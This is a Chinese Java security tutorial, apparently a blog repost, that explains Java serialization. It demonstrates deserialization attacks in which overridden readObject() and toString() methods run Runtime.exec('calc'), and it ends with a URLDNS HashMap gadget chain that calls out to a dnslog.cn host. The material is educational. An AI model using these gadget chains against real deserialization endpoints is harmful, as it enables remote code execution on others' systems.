【java安全】从0到1--第4章
2023-5-23 22:24:51 Author: 安全圈小王子(查看原文) 阅读量:7 收藏

点击蓝字
关注我们

微信搜一搜
暗魂攻防实验室

知识点

1、JavaEE-反序列化-解释&使用&安全

2、JavaEE-安全-利用链&直接重写方法

3、JavaEE-安全-利用链&外部重写方法

项目案例

Java-原生使用-序列化&反序列化

Java-安全问题-重写方法&触发方法

Java-安全问题-可控其他类重写方法

一些罗列

序列化过程

1、序列化与反序列化

序列化:将内存中的对象压缩成字节流

反序列化:将字节流转化成内存中的对象

2、为什么有序列化技术

序列化与反序列化的设计就是用来传输数据的。

当两个进程进行通信的时候,可以通过序列化反序列化来进行传输。

能够实现数据的持久化,通过序列化可以把数据永久的保存在硬盘上,也可以理解为通过序列化将数据保存在文件中。

应用场景

(1) 想把内存中的对象保存到一个文件中或者是数据库当中。

(2) 用套接字在网络上传输对象。

(3) 通过RMI传输对象的时候。

3、几种创建的序列化和反序列化协议

• JAVA内置的writeObject()/readObject()

writeObject()//写 readObject()//读

• JAVA内置的XMLDecoder()/XMLEncoder

• XStream

• SnakeYaml

• FastJson

• Jackson

如果重写了readObject方法,可能不是一样的触发的链条了。

4、为什么会出现反序列化安全问题

内置原生写法分析

• 重写readObject方法

• 输出调用toString方法

5、反序列化利用链

(1) 入口类的readObject直接调用危险方法

(2) 入口参数中包含可控类,该类有危险方法,readObject时调用

(3) 入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject时调用

(4) 构造函数/静态代码块等类加载时隐式执行

安全问题

(1) 入口类的readObject直接调用危险方法

(2) 入口参数中包含可控类,该类有危险方法,readObject时调用

(3) 入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject时调用

(4) 构造函数/静态代码块等类加载时隐式执行

原生使用-序列化&反序列化

序列化(内置原生写法分析)

新建项目UserDemo,和上边一样默认配置就行。

package com.example.serialtestdemo;import  java.io.Serializable;import java.io.IOException;import java.io.ObjectInputStream;
public class UserDemo implements Serializable {
public String name = "xiaodi";
public String gender = "man"; public Integer age = 30;
public UserDemo(String name, String gender, Integer age) { this.name = name; this.gender = gender; this.age = age; System.out.println("UsedDemo:"+name); System.out.println("UsedDemo:"+gender); System.out.println("UsedDemo:"+age); }
@Override public String toString() { return "User{"+ "name='" + name + '\''+ ", gender='" + gender +'\'' + ", age=" + age + '}';
}



}

新建SeralizableDemo()

package com.example.serialtestdemo;
import java.io.FileOutputStream;import java.io.IOException;import java.io.ObjectOutputStream;
public class SerializableDemo { public static void main(String[] args) throws IOException { //创建一个对象 引用UserDemo UserDemo u = new UserDemo("zhangsan", "gay", 31); //System.out.println(userDemo);
//调用方法,输出序列化的class SerializableTest(u); }
public static void SerializableTest(Object obj) throws IOException {
//FileOutputStream()输出文件
//将obj对象序列化后写入ser.txt ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.txt")); oos.writeObject(obj); }}

会生成对应的ser.txt,里面写的是序列化的内容

新建UnSerializableDemo,反序列化操作

package com.example.serialtestdemo;
import java.io.FileInputStream;import java.io.IOException;import java.io.ObjectInputStream;
public class UnSerializableDemo {
public static void main(String[] args) throws IOException, ClassNotFoundException {
//调用下面的方法,传输ser.txt 解析还原返序列化 Object obj = UnSerializableTest("ser.txt"); System.out.println(obj); }
public static Object UnSerializableTest(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object o = ois.readObject(); return o; }}

成功执行返序列化

整个流程:传入值-》序列化-》返序列化。

返序列化重要代码

 public static Object UnSerializableTest(String Filename) throws IOException, ClassNotFoundException {       ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));       Object o = ois.readObject();       return o;  }

跟进readobject(),是在jdk自带的readObject()方法中

文件路径(C:\Program Files\Java\jdk1.8.0_181\jre\lib\rt.jar!\java\io\ObjectInputStream.class)

如果说我们不用自带的jdk的readObject()整个方法,自己写一个readObject()呢?就引出了下边的问题

Java-安全问题-重写方法&触发方法

重写readObject方法

修改UserDemo

package com.example.serialtestdemo;import  java.io.Serializable;import java.io.IOException;import java.io.ObjectInputStream;
public class UserDemo implements Serializable {
public String name = "xiaodi";
public String gender = "man"; public Integer age = 30;
public UserDemo(String name, String gender, Integer age) { this.name = name; this.gender = gender; this.age = age; System.out.println("UsedDemo:"+name); System.out.println("UsedDemo:"+gender); System.out.println("UsedDemo:"+age); }
@Override public String toString() { return "User{"+ "name='" + name + '\''+ ", gender='" + gender +'\'' + ", age=" + age + '}';
}
private void readObject(ObjectInputStream ois) throws IOException{

Runtime.getRuntime().exec("calc"); System.out.println("成功调用重写方法readObject()");
}

}

然后再次运行SerializableDemo,以及UnserializableDemo

会发现成功弹出计算器,成功调用了重写方法readObject()

(这边修改了一下UI界面,在文件-》设置-》UI设置里开启)

因为在UserDemo中有写readObject()方法,所以在执行的序列化的过程中去执行了自己写的的readObject()类,而不是本地环境自带的readObject()类~

跟踪代码

点击调试,让后步入进去。

随后执行了calc。这边问题本质是执行了自己写的readObject()方法。我们随后指向JDK自带的readObject()方法。

修改UserDemo的readobject()内容

 private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
//指向正确ReadObject ois.defaultReadObject(); Runtime.getRuntime().exec("calc"); System.out.println("成功调用重写方法readObject()");

}

再一次进行返序列化看看效果(再调试跟一次)

发现和之前的流程不相同了。但是同样也可以弹出计算器~

输出调用toString方法

将UserDemo的readObject()方法注释掉,在toString方法中写入calc

package com.example.serialtestdemo;import  java.io.Serializable;import java.io.IOException;import java.io.ObjectInputStream;
public class UserDemo implements Serializable {
public String name = "xiaodi";
public String gender = "man"; public Integer age = 30;
public UserDemo(String name, String gender, Integer age) { this.name = name; this.gender = gender; this.age = age; System.out.println("UsedDemo:"+name); System.out.println("UsedDemo:"+gender); System.out.println("UsedDemo:"+age); }
@Override public String toString() {
try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { throw new RuntimeException(e); }
return "User{"+ "name='" + name + '\''+ ", gender='" + gender +'\'' + ", age=" + age + '}'; }
/*private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
//指向正确defaultReadObject //ois.defaultReadObject(); Runtime.getRuntime().exec("calc"); System.out.println("成功调用重写方法readObject()") }*/}

执行UnSerializableDemo,会发现弹出了计算器

是因为在执行输出时,对obj对象进行输出,默认调用原始对象toString()。

如果注释时输出,计算器将不会弹出。

重写readObject()方法,执行计算器

相当于执行序列化对象里面的readObject方法,而不是本身readObject()  -》 jdk1.8

如果换一个类,里面有readObject类,会不会触发呢

Java-安全问题-可控其他类重写方法

首先去DNSlog去拿到一个DNS,填入代码的URL的地方

当进行序列化时有数据进行过请求

package com.example.serialtestdemo;import java.io.IOException;import java.io.Serializable;import java.net.MalformedURLException;import java.util.HashMap;import java.net.URL;
import static com.example.serialtestdemo.SerializableDemo.SerializableTest;
public class UrlDns implements Serializable {
public static void main(String[] args) throws IOException { HashMap<URL,Integer> hash = new HashMap<>(); URL url = new URL("http://6w75dv.dnslog.cn"); hash.put(url,1);
SerializableTest(hash);
}}

当去掉序列化代码时,没有请求访问。序列化对象hash,来源自带类HashMap.(hashmap链)

Gadget Chain:HashMap.readObject()Hashmap.putVal()HashMap.hash()URL.hashCode()

ctrlf跟踪代码

1.正常代码中,创建HashMap方法返序列化数据

2.用到原生的readObject() 方法去返序列化

readObject在ObjectInputSteams

但HashMap也有readOabject()方法

3.反序列化readObject方法调用了HashMap里面的readObject方法

执行链

Gadget Chain:  HashMap.readObject()    Hashmap.putVal()      HashMap.hash()        URL.hashCode()

最后结果触发DNS请求,如果这里可以执行命令,就是RCE

java安全从0到1-第1章

【java安全】从0到1--第2章

【java安全】从0到1--第3章

anhunsec_redteam_V2.4 正式版红队渗透系统简介

微信搜一搜
暗魂攻防实验室

文章来源: http://mp.weixin.qq.com/s?__biz=Mzg4MjY3NDI5Mw==&mid=2247486452&idx=1&sn=a84176cbe87de324df7e41081485fc06&chksm=cf5254eef825ddf8296ad96932373f4a7e9131bfd5784143c24cf2b79955b6ae3e8ac921ff1e#rd
如有侵权请联系:admin#unsafe.sh